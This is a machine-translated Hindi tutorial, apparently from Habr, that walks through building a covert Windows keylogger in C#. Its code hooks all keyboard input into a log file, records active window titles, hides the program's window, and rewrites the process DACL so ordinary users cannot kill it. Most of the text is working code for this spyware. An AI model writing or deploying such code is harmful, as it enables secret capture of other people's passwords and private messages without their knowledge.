DACL में अधिकारों के परिवर्तन के साथ विंडोज के लिए Keylogger

यहाँ हम .log C # के आधार पर सिस्टम फ़ंक्शंस के साथ Keylogger के निर्माण पर विचार करेंगे। सिस्टम फ़ंक्शन स्वयं संक्षिप्त रूप से वर्णित हैं, लेकिन Microsoft से आधिकारिक दस्तावेज पढ़ना बेहतर है। कामकाजी विधानसभा के साथ रिपॉजिटरी का लिंक अंत में दिया गया है, साथ ही प्रलेखन के लिए लिंक भी दिया गया है।

क्या लागू होगा:

  • लॉगिंग कीबोर्ड इनपुट
  • सक्रिय विंडो लॉग इन करना।
  • व्यवस्थापक विशेषाधिकारों के बिना उपयोगकर्ता से एक प्रक्रिया को अवरुद्ध करना।
  • कीबोर्ड शॉर्टकट द्वारा प्रक्रिया को रोकना।

लिखने के लिए, आपको C # की आवश्यकता होगी, Win API और Windows DACL का ज्ञान।

तो, हम कई प्रकार के सिस्टम कोडों का विश्लेषण करेंगे जिनकी आवश्यकता होगी, प्रत्येक प्रकार को एक अलग Enum में संग्रहीत किया जाएगा।

हुक के प्रकार।

public enum HookTypes { WH_CALLWNDPROC = 4, WH_CALLWNDPROCRET = 12, WH_KEYBOARD = 2, WH_KEYBOARD_LL = 13, WH_MOUSE = 7, WH_MOUSE_LL = 14, WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_FOREGROUNDIDLE = 11, WH_SYSMSGFILTER = 6, WH_GETMESSAGE = 3, WH_CBT = 5, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, } 

कीबोर्ड से संबंधित सभी घटनाओं को पकड़ने के लिए, आपको WH_KEYBOARD_LL प्रकार की आवश्यकता होगी। अन्य सभी प्रकार के हुक को एक और WH_MOUSE_LL हुक - माउस से संबंधित घटनाओं को छोड़कर, अलग DLL के कार्यान्वयन की आवश्यकता होती है।

कीबोर्ड से जुड़े घटनाओं के प्रकार, एक कुंजी को दबाने और जारी करना।

 public enum KeyboardEventTypes { WM_KEYDOWN = 0x0100, WM_KEYUP = 0x0101, } 

हम कुंजी - WM_KEYUP जारी करके इनपुट वर्ण रिकॉर्ड करेंगे।

किसी एप्लिकेशन के विंडो से दूसरे में उपयोगकर्ता के संक्रमण को पकड़ने के लिए अलग-अलग प्रकार।

 public class WinEventTypes { public const uint WINEVENT_OUTOFCONTEXT = 0; public const uint EVENT_SYSTEM_FOREGROUND = 3; } 

प्रोग्राम को अक्षम करने के लिए कीबोर्ड शॉर्टकट का उपयोग करने के लिए Enum।

 public enum CombineKeys { MOD_ALT = 0x1, MOD_CONTROL = 0x2, MOD_SHIFT = 0x4, MOD_WIN = 0x8, WM_HOTKEY = 0x0312, } 

सभी बिंदुओं को लागू करने के लिए, पहले प्रपत्र बनाएं और इसे उपयोगकर्ता से छिपाएं। यह बुनियादी सेटविजोरकोर विधि को ओवरराइड करने के लिए पर्याप्त है।

 protected override void SetVisibleCore(bool value) { base.SetVisibleCore(false); } 

कार्यक्रम शुरू होने पर फॉर्म लॉन्च किया जाएगा।

 Application.Run(HiddenForm); 

एक रूप है और अब आपको मुख्य फ़ंक्शन - इंटरसेपिंग कीबोर्ड इनपुट को जोड़ने की आवश्यकता है। हम विन API SetWindowsHookEx विधि का उपयोग करते हैं, निम्नलिखित पैरामीटर पारित किए जाएंगे:

  • हुक का प्रकार WH_KEYBOARD_LL है।
  • कॉलबैक फ़ंक्शन यानी। वह तरीका जो कीबोर्ड से संबंधित सभी घटनाओं को संभालना चाहिए।
  • वर्तमान मॉड्यूल की आईडी
  • थ्रेड पहचानकर्ता 0. शून्य है ताकि हुक सभी थ्रेड्स के साथ जुड़ा हो।

 internal IntPtr SetHook(HookTypes typeOfHook, HookProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWindowsHookEx((int)typeOfHook, callBack, GetModuleHandle(currentModule.ModuleName), 0); } } 

वह विधि जो हुक को संसाधित करती है। इसके कई पैरामीटर हैं, nCode - यह समझने के लिए कि क्या वर्तमान घटना को संसाधित करना या तुरंत पास करना आवश्यक है,
wParam - घटना का प्रकार (कुंजी को दबाने या जारी करना), lParam - चरित्र जो वर्तमान में दबाया गया है। संक्षेप में, lParam बाइट्स की एक सरणी है, इसलिए इसमें अतिरिक्त जानकारी संग्रहीत की जाती है, उदाहरण के लिए, यदि उपयोगकर्ता के पास कुंजी और मशीन है जिस पर प्रसंस्करण होता है तो वर्णों की संख्या धीमी है।

 internal static IntPtr KeyLoggerHookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)KeyboardEventTypes.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); SetKeysState(); var saveText = GetSymbol((uint)vkCode); File.AppendAllText(_fileName, saveText); } return CallNextHookEx(HookId, nCode, wParam, lParam); } 

यह कार्यान्वयन उपयोगकर्ता द्वारा कुंजी जारी करने के बाद ही एक चरित्र लिखता है। वर्णों की संख्या रिकॉर्ड करने के लिए, आपको WM_KEYDOWN के प्रकार को लागू करना होगा।

SetKeysState पद्धति का उपयोग यह जानने के लिए किया जाता है कि अतिरिक्त राज्य क्या हैं, उदाहरण के लिए, कुंजियाँ जो मामले को प्रभावित करती हैं।

 private static void SetKeysState() { _capsLock = GetKeyState((int)Keys.CapsLock) != 0; _numLock = GetKeyState((int)Keys.NumLock) != 0; _scrollLock = GetKeyState((int)Keys.Scroll) != 0; _shift = GetKeyState((int)Keys.ShiftKey) != 0; } 

GetKeyState एक और विन एपीआई पद्धति है जिसके माध्यम से आप कुंजी कोड द्वारा स्थिति का पता लगा सकते हैं।

 private static string GetSymbol(uint vkCode) { var buff = new StringBuilder(maxChars); var keyboardState = new byte[maxChars]; var keyboard = GetKeyboardLayout( GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)); ToUnicodeEx(vkCode, 0, keyboardState, buff, maxChars, 0, (IntPtr)keyboard); var buffSymbol = buff.ToString(); var symbol = buffSymbol.Equals("\r") ? Environment.NewLine : buffSymbol; if (_capsLock ^ _shift) symbol = symbol.ToUpperInvariant(); return symbol; } 

GetSymbol विधि में, वर्तमान विंडो के लिए GetKeyboardLayout कीबोर्ड लेआउट कोड पहले अनुरोध किया गया है, और फिर ToUnicodeEx चरित्र प्राप्त करने के लिए, दोनों विन एपीआई तरीके। यदि केस को प्रभावित करने वाली चाबियां शामिल हैं, तो चरित्र को ऊपरी मामले में बदलना होगा।

यह कीबोर्ड से इनपुट लॉग करने के लिए पर्याप्त होगा। लेकिन वर्तमान सक्रिय विंडो को रिकॉर्ड करने के लिए, आपको एक और हुक का उपयोग करने की आवश्यकता है।

 internal IntPtr SetWinHook(WinEventProc callBack) { using (Process currentProcess = Process.GetCurrentProcess()) using (ProcessModule currentModule = currentProcess.MainModule) { return SetWinEventHook( WinEventTypes.EVENT_SYSTEM_FOREGROUND, WinEventTypes.EVENT_SYSTEM_FOREGROUND, GetModuleHandle(currentModule.ModuleName), callBack, 0, 0, WinEventTypes.WINEVENT_OUTOFCONTEXT); } } 

सक्रिय विंडो में परिवर्तनों को ट्रैक करने के लिए EVENT_SYSTEM_FOREGROUND का प्रकार आवश्यक है। और WINEVENT_OUTOFCONTEXT इंगित करता है कि कॉलबैक विधि हमारे आवेदन में है।

हुक श्रृंखला के लिए पारित विधि में कई पैरामीटर हैं जो अधिक विस्तृत कार्यान्वयन में उपयोगी हो सकते हैं, इस मामले के लिए यह सक्रिय विंडो और इसके शीर्षक का पता लगाने के लिए पर्याप्त है।

 internal static void ActiveWindowsHook( IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime) { File.AppendAllText(_fileName, $"{Environment.NewLine}{GetActiveWindowTitle()}{Environment.NewLine}"); } 

यही है, प्रत्येक विंडो परिवर्तन घटना दर्ज की जाएगी। GetActiveWindowTitle में विन एपीआई GetForegroundWindow विधियों के एक जोड़े का उपयोग करने के लिए पर्याप्त है - GetWindowText का उपयोग करके एक शीर्षक का अनुरोध करने के बाद, वर्तमान सक्रिय विंडो के पहचानकर्ता का पता लगाएं।

 private static string GetActiveWindowTitle() { var buff = new StringBuilder(maxChars); var handle = GetForegroundWindow(); if (GetWindowText(handle, buff, maxChars) > 0) { return buff.ToString(); } return null; } 

इस बिंदु तक, सभी सिस्टम फ़ंक्शन कॉल उपयोगकर्ता 32 और कर्नेल 32 पुस्तकालयों से लिए गए थे। अगला कदम advapi32 लाइब्रेरी का उपयोग करना है।

तीसरा चरण औसत उपयोगकर्ता को कीबोर्ड इनपुट रिकॉर्ड करने की प्रक्रिया को पूरा करने से रोकना है। पहले आपको इस प्रक्रिया को संभालने की आवश्यकता है और फिर इसे डीएसीएल में एक प्रविष्टि जोड़कर बदल दें।

 internal void BlockForNotAdminUsers() { var hProcess = Process.GetCurrentProcess().Handle; var securityDescriptor = GetProcessSecurityDescriptor(hProcess); var sid = WindowsIdentity.GetCurrent().User.AccountDomainSid; securityDescriptor.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, sid), false, null)); SetProcessSecurityDescriptor(hProcess, securityDescriptor); } 

प्रोसेस डिस्क्रिप्टर गेटकॉर्नऑब्जेक्ट सिक्योरिटी के माध्यम से प्राप्त होता है , विधि को दो बार कहा जाता है, पहले हमें डिस्क्रिप्टर की लंबाई मिलती है, और दूसरी कॉल हमें प्रक्रिया डिस्क्रिप्टर सीधे मिलती है।

 private RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { var psd = new byte[0]; GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out uint bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); if (!GetKernelObjectSecurity( processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); return new RawSecurityDescriptor(psd, 0); } 

डिस्क्रिप्टर को बदलने के बाद, आपको इस जानकारी को वर्तमान प्रक्रिया में दर्ज करने की आवश्यकता है। यह सिस्टम विधि SetKernelObjectSecurity को पहचानकर्ता और प्रक्रिया के वर्णनकर्ता को पास करने के लिए पर्याप्त है।

 private void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor securityDescriptor) { var rawsd = new byte[securityDescriptor.BinaryLength]; securityDescriptor.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } 

अंतिम चरण एक कुंजी संयोजन का उपयोग करके प्रक्रिया को रोकना है।

 internal static int SetHotKey(Keys key, IntPtr handle) { int modifiers = 0; if ((key & Keys.Alt) == Keys.Alt) modifiers |= (int)CombineKeys.MOD_ALT; if ((key & Keys.Control) == Keys.Control) modifiers |= (int)CombineKeys.MOD_CONTROL; if ((key & Keys.Shift) == Keys.Shift) modifiers |= (int)CombineKeys.MOD_SHIFT; Keys keys = key & ~Keys.Control & ~Keys.Shift & ~Keys.Alt; var keyId = key.GetHashCode(); RegisterHotKey(handle, keyId, modifiers, (int)keys); return keyId; } 

यहां कुंजी एक कीबोर्ड शॉर्टकट है, और हैंडल एक छिपे हुए फॉर्म का पहचानकर्ता है। प्रपत्र पर कुंजी संयोजन को पहचानने के लिए, कीड बनाया जाता है, जिसके द्वारा कुंजी संयोजन के संचालन की जांच करना संभव है। और यह सब Win API मेथड RegisterHotKey के माध्यम से लिखा गया है।

और अंत में प्रक्रिया को रोकने के लिए, हम फॉर्म में WndProc विधि को फिर से परिभाषित करते हैं।

 protected override void WndProc(ref Message m) { if (m.Msg == (int)CombineKeys.WM_HOTKEY) { if ((int)m.WParam == KeyId) { UnregisterHotKey(Handle, KeyId); Application.Exit(); } } base.WndProc(ref m); } 

उपयोगी लिंक:

रिपोजिटरी लिंक
एमएस प्रलेखन के लिए लिंक।

Source: https://habr.com/ru/post/hi482644/


All Articles